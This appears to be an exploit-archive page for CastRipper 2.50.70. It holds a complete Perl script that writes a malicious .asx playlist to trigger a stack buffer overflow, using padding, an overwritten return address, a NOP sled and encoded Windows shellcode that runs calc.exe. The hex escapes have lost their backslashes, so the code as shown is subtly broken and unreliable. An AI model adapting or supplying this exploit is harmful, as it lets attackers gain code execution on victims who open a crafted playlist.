[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : CastRipper 2.50.70 (.asx) Playlist Stack Overflow Exploit
# Published : 2010-02-12
# Author : Jordi Chancel
# Previous Title : Ollydbg 2.00 Beta1 Local Buffer Overflow Exploit
# Next Title : Radasm v2.2.1.6 (.rap) Universal Buffer Overflow Exploit
#!/usr/bin/perl
# Author : Jordi Chancel
# CastRipper 2.50.70 : ASX playlist Stack Overflow Exploit
use strict;
use warnings;
my $header1=
"x3Cx61x73x78x20x76x65x72x73x69x6Fx6Ex20x3Dx20".
"x22x33x2Ex30x22x20x3Ex0Dx0Dx0Ax3Cx65x6Ex74x72".
"x79x3Ex0Dx0Dx0A".
"x3Cx72x65x66x20x68x72x65x66x20x3Dx20x22";
my $header2=
"x22x20x2Fx3Ex0Dx0Ax3Cx2Fx65x6Ex74x72x79x3Ex0D".
"x0Ax3Cx2Fx61x73x78x3E";
my $headerh="http://";
# win32_exec - EXITFUNC=seh CMD=calc.exe Size=351 Encoder=PexAlphaNum
my $shellcode =
"xebx03x59xebx05xe8xf8xffxffxffx4fx49x49x49x49x49".
"x49x51x5ax56x54x58x36x33x30x56x58x34x41x30x42x36".
"x48x48x30x42x33x30x42x43x56x58x32x42x44x42x48x34".
"x41x32x41x44x30x41x44x54x42x44x51x42x30x41x44x41".
"x56x58x34x5ax38x42x44x4ax4fx4dx4ex4fx4ax4ex46x34".
"x42x50x42x50x42x50x4bx48x45x54x4ex33x4bx58x4ex37".
"x45x30x4ax37x41x50x4fx4ex4bx48x4fx34x4ax31x4bx38".
"x4fx45x42x32x41x50x4bx4ex49x34x4bx38x46x43x4bx48".
"x41x50x50x4ex41x33x42x4cx49x39x4ex4ax46x58x42x4c".
"x46x47x47x30x41x4cx4cx4cx4dx30x41x30x44x4cx4bx4e".
"x46x4fx4bx43x46x45x46x52x46x50x45x47x45x4ex4bx38".
"x4fx55x46x32x41x50x4bx4ex48x36x4bx48x4ex30x4bx34".
"x4bx58x4fx35x4ex51x41x30x4bx4ex4bx48x4ex31x4bx38".
"x41x30x4bx4ex49x38x4ex45x46x32x46x30x43x4cx41x43".
"x42x4cx46x56x4bx48x42x44x42x53x45x58x42x4cx4ax57".
"x4ex50x4bx58x42x54x4ex50x4bx58x42x47x4ex41x4dx4a".
"x4bx48x4ax36x4ax50x4bx4ex49x30x4bx38x42x38x42x4b".
"x42x50x42x30x42x30x4bx48x4ax46x4ex43x4fx55x41x33".
"x48x4fx42x46x48x35x49x48x4ax4fx43x58x42x4cx4bx47".
"x42x45x4ax36x42x4fx4cx38x46x30x4fx55x4ax56x4ax39".
"x50x4fx4cx48x50x30x47x55x4fx4fx47x4ex43x56x41x56".
"x4ex36x43x36x50x52x45x36x4ax57x45x56x42x50x5a";
my $junk = "x41" x 26369;
my $eip = "x7DxBCx01x10"; # Universal
my $nops = "x90" x 30;
open(my $playlist, "> exploit.asx");
print $playlist "$header1".$headerh.$junk.$eip.$nops.$shellcode.$junk.$header2.
"rn";
close $playlist;